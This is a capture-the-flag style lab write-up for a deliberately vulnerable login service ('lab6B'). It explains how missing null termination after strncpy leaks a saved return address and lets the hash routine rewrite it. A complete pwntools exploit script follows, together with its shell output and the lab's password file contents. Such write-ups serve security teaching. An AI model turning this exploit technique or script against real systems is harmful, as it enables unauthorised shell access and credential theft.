For this lab, we are given a program and its corresponding source code:
/* compiled with: gcc -z relro -z now -pie -fPIE -fno-stack-protector -o lab6B lab6B.c */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include "utils.h"
ENABLE_TIMEOUT(300)
/* log the user in */
int login()
{
printf("WELCOME MR. FALK\n");
/* you win */
system("/bin/sh");
return 0;
}
/* doom's super secret password mangling scheme */
void hash_pass(char * password, char * username)
{
int i = 0;
/* hash pass with chars of username */
while(password[i] && username[i])
{
password[i] ^= username[i];
i++;
}
/* hash rest of password with a pad char */
while(password[i])
{
password[i] ^= 0x44;
i++;
}
return;
}
/* doom's super secure password read function */
int load_pass(char ** password)
{
FILE * fd = 0;
int fail = -1;
int psize = 0;
/* open the password file */
fd = fopen("/home/lab6A/.pass", "r");
if(fd == NULL)
{
printf("Could not open secret pass!\n");
return fail;
}
/* get the size of the password */
if(fseek(fd, 0, SEEK_END))
{
printf("Failed to seek to end of pass!\n");
return fail;
}
psize = ftell(fd);
if(psize == 0 || psize == -1)
{
printf("Could not get pass size!\n");
return fail;
}
/* reset stream */
if(fseek(fd, 0, SEEK_SET))
{
printf("Failed to see to the start of pass!\n");
return fail;
}
/* allocate a buffer for the password */
*password = (char *)malloc(psize);
if(password == NULL)
{
printf("Could not malloc for pass!\n");
return fail;
}
/* make sure we read in the whole password */
if(fread(*password, sizeof(char), psize, fd) != psize)
{
printf("Could not read secret pass!\n");
free(*password);
return fail;
}
fclose(fd);
/* successfully read in the password */
return psize;
}
int login_prompt(int pwsize, char * secretpw)
{
char password[32];
char username[32];
char readbuff[128];
int attempts = -3;
int result = -1;
/* login prompt loop */
while(attempts++)
{
/* clear our buffers to avoid any sort of data re-use */
memset(password, 0, sizeof(password));
memset(username, 0, sizeof(username));
memset(readbuff, 0, sizeof(readbuff));
/* safely read username */
printf("Enter your username: ");
fgets(readbuff, sizeof(readbuff), stdin);
/* use safe strncpy to copy username from the read buffer */
strncpy(username, readbuff, sizeof(username));
/* safely read password */
printf("Enter your password: ");
fgets(readbuff, sizeof(readbuff), stdin);
/* use safe strncpy to copy password from the read buffer */
strncpy(password, readbuff, sizeof(password));
/* hash the input password for this attempt */
hash_pass(password, username);
/* check if password is correct */
if(pwsize > 16 && memcmp(password, secretpw, pwsize) == 0)
{
login();
result = 0;
break;
}
printf("Authentication failed for user %s\n", username);
}
return result;
}
int main(int argc, char* argv[])
{
int pwsize;
char * secretpw;
disable_buffering(stdout);
/* load the secret pass */
pwsize = load_pass(&secretpw);
pwsize = pwsize > 32 ? 32 : pwsize;
/* failed to load password */
if(pwsize == 0 || pwsize == -1)
return EXIT_FAILURE;
/* hash the password we'll be comparing against */
hash_pass(secretpw, "lab6A");
printf("----------- FALK OS LOGIN PROMPT -----------\n");
fflush(stdout);
/* authorization loop */
if(login_prompt(pwsize, secretpw))
{
/* print the super serious warning to ward off hackers */
printf("+-------------------------------------------------------+\n"\
"|WARNINGWARNINGWARNINGWARNINGWARNINGWARNINGWARNINGWARNIN|\n"\
"|GWARNINGWARNI - TOO MANY LOGIN ATTEMPTS - NGWARNINGWARN|\n"\
"|INGWARNINGWARNINGWARNINGWARNINGWARNINGWARNINGWARNINGWAR|\n"\
"+-------------------------------------------------------+\n"\
"| We have logged this session and will be |\n"\
"| sending it to the proper CCDC CTF teams to analyze |\n"\
"| ----------------------------- |\n"\
"| The CCDC cyber team dispatched will use their |\n"\
"| masterful IT and networking skills to trace |\n"\
"| you down and serve swift american justice |\n"\
"+-------------------------------------------------------+\n");
return EXIT_FAILURE;
}
return EXIT_SUCCESS;
}
If we run checksec
, we can see that NX, PIE and full RELRO are enabled.
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : ENABLED
RELRO : FULL
The program actually runs as a network service on port 6642 that we must exploit.
Vulnerability
If we look at the source code, we can see that there is a vulnerability in the login_prompt()
function.
Specifically, the two strncpy()
calls are not used correctly.
strncpy(username, readbuff, sizeof(username));
strncpy(password, readbuff, sizeof(password));
The manpage for strncpy()
tells us the following:
The stpncpy() and strncpy() functions copy at most n characters from src into dst.
If src is less than n characters long, the remainder of dst is filled with `\0’ characters.
Otherwise, dst is not terminated.
[…]
Warning If there is no null byte among the first n bytes of src, the string placed in dest will not be null-terminated.
Because of this, if we specify 32 bytes of data or more in the readbuff
array, the username
and password
buffers will be completely filled up without being null terminated.
This is because src
will not be less than n
characters long, and there will be no null byte encountered in the first 32 bytes of src
.
After each strncpy()
, what should be done to use each function correctly is the following.
username[sizeof(username)-1] = '\0';
password[sizeof(password)-1] = '\0';
As a side note, other functions that do not guarantee null-termination include snprintf()
and wcsncpy()
.
To verify this vulnerability, we can use gdb
.
Look at what happens after a 32 byte username is strncpy()
‘d to the stack.
gdb-peda$ x/32xw 0xffffd3f8
0xffffd3f8: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd408: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd418: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd428: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd438: 0xffffffff 0xfffffffe 0x56557f78 0x56557f78
0xffffd448: 0xffffd478 0x56555f7e 0x00000020 0x56559170
0xffffd458: 0x00000002 0x00000000 0xf7fb13c4 0x0000000d
0xffffd468: 0x56559170 0x00000020 0x56555fb0 0xf7fb1000
And now look at what happens when a 32 byte password is strncpy()
‘d to the stack.
gdb-peda$ x/32xw 0xffffd3f8
0xffffd3f8: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd408: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd418: 0x42424242 0x42424242 0x42424242 0x42424242
0xffffd428: 0x42424242 0x42424242 0x42424242 0x42424242
0xffffd438: 0xffffffff 0xfffffffe 0x56557f78 0x56557f78
0xffffd448: 0xffffd478 0x56555f7e 0x00000020 0x56559170
0xffffd458: 0x00000002 0x00000000 0xf7fb13c4 0x0000000d
0xffffd468: 0x56559170 0x00000020 0x56555fb0 0xf7fb1000
Notice that starting from the beginning of the username, the null termination character isn’t encountered until 0xffffd451
which is far after what is supposed to be the end of the password.
We can also see that the saved EIP, 0x56555f7e
is stored at address 0xffffd44c
, int result
is stored at 0xffffd438
, int attempts
is stored at 0xffffd43c
.
This later gives us a pointer leak when the login fails and the username is printed back out to stdout.
printf("Authentication failed for user %s\n", username);
However, before this printf()
statement is called, hash_pass()
is called, which performs math operations on password and username, transforming the password variable on the stack.
But, because neither the username
nor password
variable is null-byte terminated, we can cause these operations to transform other addresses on the stack, such as the saved EIP.
Exploit
Our goal is to transform the saved EIP so that when login_prompt()
finishes, it returns to login()
instead of back to main()
.
We can do this in just 2 login attempts.
But first, we need to make a few calculations.
login = 0x56555af4
saved EIP = 0x56555f7e
saved EIP-login = 0x48a
We can see that the saved EIP will exist at an offset of 0x48a from the address of login()
, allowing us to dynamically calculate the address of login()
at runtime using the leaked pointer..
However, in our final exploit, we also need to account for the fact that the pointer will leak will be the saved EIP xored by 0x3030303
.
We get 0x3030303
from 0x41414141
^0x42424242
.
Additionally, we need to determine the offset of the password buffer that will be xor’d with the transformed saved EIP.
Using gdb
, we find that the dword in password[20] will xor the value of the saved EIP.
Therefore, we can get the value of this dword “key” we need by performing a simple calculation, keeping in mind that the initial value of this key will be xor’d with 0x41414141
before the result is used to xor the transformed saved EIP.
key = (leakedptr^login)^0x41414141
Putting everything together, the following exploit will grant us a shell.
Solution
#!/usr/bin/env python
from pwn import *
import sys
def exploit(r):
## Login Attempt 1
r.recvuntil("username: ")
r.sendline("A"*32) # non-null terminated username
r.recvuntil("password: ")
r.sendline("B"*32) # non-null terminated password
r.recv(115)
leakedptr = u32(r.recv(4)) # saved EIP
log.success("leaked ptr "+str(hex(leakedptr))+" found")
login = (leakedptr^0x3030303)-0x48a
log.success("login() found @ "+str(hex(login)))
x = (leakedptr^login)^0x41414141 # value which will be used to transform saved EIP to &login
## Login Attempt 2
r.recvuntil("username: ")
r.sendline("A"*32)
r.recvuntil("password: ")
r.sendline("B"*20+p32(x)+"B"*8) # overwrites password[20]
log.success("saved EIP overwritten w/login()!")
## Login Attempts 3-5
for i in range(3):
r.recvuntil("username: ")
r.sendline("A")
r.recvuntil("password: ")
r.sendline("B")
r.recvuntil("\n")
r.interactive()
if __name__ == "__main__":
log.info("For remote: %s HOST PORT" % sys.argv[0])
if len(sys.argv) > 1:
r = remote(sys.argv[1], int(sys.argv[2]))
exploit(r)
else:
r = process([ './lab6B'])
print util.proc.pidof(r)
pause()
exploit(r)
lab6B@warzone:/tmp/lab6B$ python solve.py 127.0.0.1 6642
[*] For remote: solve.py HOST PORT
[+] Opening connection to 127.0.0.1 on port 6642: Done
[+] leaked ptr 0xb4700c7d found
[+] login() found @ 0xb7730af4
[+] saved EIP overwritten w/login()!
[*] Switching to interactive mode
WELCOME MR. FALK
$ id
uid=1024(lab6A) gid=1025(lab6A) groups=1025(lab6A),1001(gameuser)
$ cat /home/lab6A/.pass
strncpy_1s_n0t_s0_s4f3_l0l
$